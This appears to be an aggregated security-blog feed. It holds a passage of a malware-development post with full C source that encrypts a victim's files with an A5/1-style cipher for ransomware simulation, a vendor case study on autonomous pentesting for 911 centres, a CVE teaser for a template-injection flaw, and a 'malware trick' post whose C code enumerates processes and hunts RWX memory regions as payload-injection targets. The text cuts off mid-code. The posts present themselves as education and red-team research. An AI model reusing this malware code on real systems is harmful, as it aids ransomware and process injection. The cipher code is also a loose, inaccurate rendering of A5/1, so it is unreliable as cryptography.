void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

The next piece of code implemented file encryption and decryption logic via previous functions:

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "Z:\\test.txt";
  const char* outputFile = "Z:\\test.txt.a51";
  const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
  const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encrypt_file(inputFile, outputFile, key);
  decrypt_file(outputFile, decryptedFile, key);
  return 0;
}

As you can see, as usual, for test I just encrypt file test.txt and decrypt it.

cat test.txt

cryptography

demo

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

and let’s say we have a test.txt file in the Z:\\ path on the victim’s machine:

hexdump -C test.txt

cryptography

cryptography

Then just run our application on Windows 11 x64 machine:

.\hack.exe

cryptography

Let’s check a decrypted and original files, for example via hexdump command:

hexdump -C test.txt.a51.decrypted

cryptography

As you can see our simple PoC is worked perfectly.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.

A5/1
Malware AV/VM evasion part 14
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Advancing Emergency Response Security with Autonomous Pentesting

9 May 2024 at 16:07

Strengthening PSAP Defenses in an Evolving Threat Landscape

Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.

Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.

Intuitus: Manual Pentesting

Mission:

To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.

  • Year Founded: 2007
  • Number of Employees: >20
  • Operational Reach: Global

Threat Intelligence

In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police department’s ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.

In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus β€œdeals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.” Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.

β€œWhen there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actor’s tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.”

More than just protecting communications

β€œWith legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,” explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, β€œthe 911 system requires stable, safe, and resilient communications” and pointed to two things that all PSAPs should do to improve their overall cybersecurity:

  • Cybersecurity risk assessments
  • Cyber incident response and vulnerability response plans
Intuitus: Role of the CTO

Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.

In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka β€œpen”) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment won’t be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.

β€œMost PSAPs only conduct a once-a-year pentest, and don’t do pentesting all the time.”

Further, changes in the organization’s IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.

Enter NodeZeroβ„’

With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitus’ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could β€œenable digestible conversations with…customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.” With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.

Intuitus: Autonomous Pentesting

After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools β€œjust didn’t do it right, not the way NodeZero does.” What we often find is that other β€œpentesting tools” can’t do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.

β€œNodeZero enables me to have a relationship with a customer that I wouldn’t have otherwise had without the tool”

Compliance for Everyone

As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, β€œmost of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.” Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.

Auditors require pentests for compliance reasons to verify that an organization’s cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. β€œOne of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,” Brian shared – another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.

β€œ100% of our [Intuitus] pentesting business we’re doing today; we would not be doing if we didn’t have NodeZero… Horizon3.ai has given us 20% more capability than any other tool we have used or demo’d. We have added many more customers to our business because we offer pentesting services.”

To Wrap it Up

By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a β€œtrusted advisor, helping us continue to grow and maintain our full service offering to customers.” Additionally, Intuitus’ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.

Download PDF

The post Advancing Emergency Response Security with Autonomous Pentesting appeared first on Horizon3.ai.

CVE-2024-32651 – Server Side Template Injection (Changedetection.io)

TL;DR A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. Update changedetection.io to version 0.45.21 or later. A huge thanks to the mantainer (https://github.com/dgtlmoon) that was very responsive and collaborative to fix the issue, request a CVE number and inform the […]

Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

1 May 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
